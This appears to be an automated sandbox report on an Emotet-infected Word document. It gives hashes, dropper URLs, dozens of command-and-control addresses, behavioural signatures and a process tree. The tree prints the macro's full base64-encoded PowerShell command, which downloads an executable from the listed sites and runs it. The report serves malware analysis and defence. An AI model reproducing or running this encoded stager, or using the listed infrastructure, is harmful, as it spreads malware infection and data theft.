Analysis
- max time kernel
138s - max time network
136s - platform
windows10_x64 - resource
win10v200722 - submitted
17/08/2020, 14:46
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e3_64aa5fd432306fb5f774ca8935b18bf0c0d2ff391851d4315c33abf6daed40c4_2020-08-17__144553._doc.doc
Resource
win7
General
- Target emotet_e3_64aa5fd432306fb5f774ca8935b18bf0c0d2ff391851d4315c33abf6daed40c4_2020-08-17__144553._doc.doc
- Size 232KB
- Sample200817-cjdmc6zza6
- SHA256 64aa5fd432306fb5f774ca8935b18bf0c0d2ff391851d4315c33abf6daed40c4
- MD5 de323693f0f696cb1c4dee69c56a70a7
- SHA1 8ec81d58dc9bd83027b1142a207995c7ca5b1c80
- SHA512 80a000fe261cdee099a1a9c1e2c8e1bb470429bfb066c2f3731dddd1c0a23a90738949654620c552e12e7067083f358b44a29d93cbd6dffd941f587e4ab6f680
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
-
exe.dropper
http://muliarental.com/f9u8w-mrs-88/VWVA/
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exe.dropper
https://dev.dosily.in/wp-content/qyY/
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exe.dropper
http://behnasan.com/wp-content/uZRqx/
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exe.dropper
http://www.leframe.com/zcMv/tATDYnJy/
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exe.dropper
http://runderfulthailand.com/jkats/LvJDvtg8270/
Extracted
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emotet
-
186.109.104.67:80
-
185.86.148.68:443
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139.99.157.213:8080
-
105.213.67.88:80
-
190.53.144.120:80
-
203.153.216.182:7080
-
81.214.253.80:443
-
195.201.56.70:8080
-
201.213.177.139:80
-
31.146.61.34:80
-
177.144.130.105:443
-
92.24.51.238:80
-
197.83.232.19:80
-
105.209.235.113:8080
-
188.0.135.237:80
-
176.9.93.82:7080
-
190.164.75.175:80
-
188.251.213.180:443
-
87.106.231.60:8080
-
113.161.148.81:80
-
97.104.107.190:80
-
86.57.216.23:80
-
192.163.221.191:8080
-
115.79.195.246:80
-
5.79.70.250:8080
-
41.84.237.198:443
-
46.105.131.68:8080
-
77.74.78.80:443
-
105.184.233.166:80
-
91.83.93.103:443
-
187.64.128.197:80
-
185.208.226.142:8080
-
177.32.8.85:80
-
46.32.229.152:8080
-
177.37.81.212:443
-
66.61.94.36:80
-
190.212.140.6:80
-
212.112.113.235:80
-
190.190.15.20:80
-
75.127.14.170:8080
-
172.96.190.154:8080
-
192.241.220.183:8080
-
41.185.29.128:8080
-
182.176.95.147:80
-
37.46.129.215:8080
-
181.134.9.162:80
-
201.235.10.215:80
-
181.113.229.139:443
-
181.114.114.203:80
-
179.5.118.12:80
-
178.33.167.120:8080
-
198.57.203.63:8080
-
185.142.236.163:443
-
71.57.180.213:80
-
115.78.11.155:80
-
217.199.160.224:8080
-
172.105.78.244:8080
-
115.165.3.213:80
-
202.5.47.71:80
-
81.17.93.134:80
-
74.208.173.91:8080
-
192.210.217.94:8080
-
179.62.238.49:80
-
157.7.164.178:8081
-
143.95.101.72:8080
-
182.187.139.200:8080
-
216.75.37.196:8080
-
139.59.12.63:8080
-
203.153.216.178:7080
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50.116.78.109:8080
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51.38.201.19:7080
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107.161.30.122:8080
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177.94.227.143:80
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78.189.60.109:443
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3368 584 powersheLL.exe 67 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/68-15-0x0000000002200000-0x000000000220C000-memory.dmp emotet behavioral2/memory/68-15-0x0000000002200000-0x000000000220C000-memory.dmp emotet behavioral2/memory/864-18-0x0000000000630000-0x000000000063C000-memory.dmp emotet behavioral2/memory/864-18-0x0000000000630000-0x000000000063C000-memory.dmp emotet - Blacklisted process makes network request 3 IoCs
flow pid Process 19 3368 powersheLL.exe 21 3368 powersheLL.exe 23 3368 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 68 Ycfq.exe 864 WebClnt.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\ir50_qcoriginal\WebClnt.exe Ycfq.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2736 WINWORD.EXE 2736 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 3368 powersheLL.exe 3368 powersheLL.exe 3368 powersheLL.exe 864 WebClnt.exe 864 WebClnt.exe 864 WebClnt.exe 864 WebClnt.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3368 powersheLL.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 2736 WINWORD.EXE 2736 WINWORD.EXE 2736 WINWORD.EXE 2736 WINWORD.EXE 2736 WINWORD.EXE 2736 WINWORD.EXE 2736 WINWORD.EXE 2736 WINWORD.EXE 2736 WINWORD.EXE 68 Ycfq.exe 68 Ycfq.exe 864 WebClnt.exe 864 WebClnt.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3368 wrote to memory of 68 3368 powersheLL.exe 78 PID 3368 wrote to memory of 68 3368 powersheLL.exe 78 PID 3368 wrote to memory of 68 3368 powersheLL.exe 78 PID 68 wrote to memory of 864 68 Ycfq.exe 79 PID 68 wrote to memory of 864 68 Ycfq.exe 79 PID 68 wrote to memory of 864 68 Ycfq.exe 79
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_64aa5fd432306fb5f774ca8935b18bf0c0d2ff391851d4315c33abf6daed40c4_2020-08-17__144553._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2736
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABKAGUAYQBlADkAaQB0AD0AJwBVAHEAXwB4AHYAdgBuACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAEMAdQBgAFIAaQB0AFkAcABSAGAAbwBUAE8AQwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABJAGUAcAA2AGoANQBtACAAPQAgACcAWQBjAGYAcQAnADsAJABYAF8AbABzAGcAZgB6AD0AJwBaAHkAMQA2ADEAeAAzACcAOwAkAEsAbQBrADMAcABvAGgAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABJAGUAcAA2AGoANQBtACsAJwAuAGUAeABlACcAOwAkAEwAdQBmAGcANQBqAGEAPQAnAEsAdQB0ADIAMwByADMAJwA7ACQASwAzAGwAYgAzAGgAMwA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBFAHQALgBXAGUAQgBDAEwAaQBFAG4AVAA7ACQAWABvAGoAYQB6AG8AdAA9ACcAaAB0AHQAcAA6AC8ALwBtAHUAbABpAGEAcgBlAG4AdABhAGwALgBjAG8AbQAvAGYAOQB1ADgAdwAtAG0AcgBzAC0AOAA4AC8AVgBXAFYAQQAvACoAaAB0AHQAcABzADoALwAvAGQAZQB2AC4AZABvAHMAaQBsAHkALgBpAG4ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AcQB5AFkALwAqAGgAdAB0AHAAOgAvAC8AYgBlAGgAbgBhAHMAYQBuAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdQBaAFIAcQB4AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbABlAGYAcgBhAG0AZQAuAGMAbwBtAC8AegBjAE0AdgAvAHQAQQBUAEQAWQBuAEoAeQAvACoAaAB0AHQAcAA6AC8ALwByAHUAbgBkAGUAcgBmAHUAbAB0AGgAYQBpAGwAYQBuAGQALgBjAG8AbQAvAGoAawBhAHQAcwAvAEwAdgBKAEQAdgB0AGcAOAAyADcAMAAvACcALgAiAHMAcABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARQA4AGcAbwA1AHMAOQA9ACcATwBfAGIAZQAyAGYAOQAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBiADIAZgBpAHIAegAgAGkAbgAgACQAWABvAGoAYQB6AG8AdAApAHsAdAByAHkAewAkAEsAMwBsAGIAMwBoADMALgAiAGQATwB3AG4AbABgAE8AYABBAEQAZgBgAGkATABlACIAKAAkAFIAYgAyAGYAaQByAHoALAAgACQASwBtAGsAMwBwAG8AaAApADsAJABWAGoAcwB0AGMAcgB3AD0AJwBaAG0AYwB4AHgAOQAzACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQASwBtAGsAMwBwAG8AaAApAC4AIgBMAGAAZQBOAEcAYABUAGgAIgAgAC0AZwBlACAAMgA5ADkANAA5ACkAIAB7ACYAKAAnAEkAJwArACcAbgAnACsAJwB2AG8AawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAEsAbQBrADMAcABvAGgAKQA7ACQAUgB4ADUAcgBvAGsAMAA9ACcASgB4ADUAaQA4AGkAawAnADsAYgByAGUAYQBrADsAJABQADkAdABfAGkAMAAyAD0AJwBOAHAAcgBwAGwAZgB3ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AaABjAHMAZAByAHAAPQAnAE8AOAAxADUANABwAGQAJwA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3368 -
C:\Users\Admin\AppData\Local\Temp\Ycfq.exe"C:\Users\Admin\AppData\Local\Temp\Ycfq.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:68 -
C:\Windows\SysWOW64\ir50_qcoriginal\WebClnt.exe"C:\Windows\SysWOW64\ir50_qcoriginal\WebClnt.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:864
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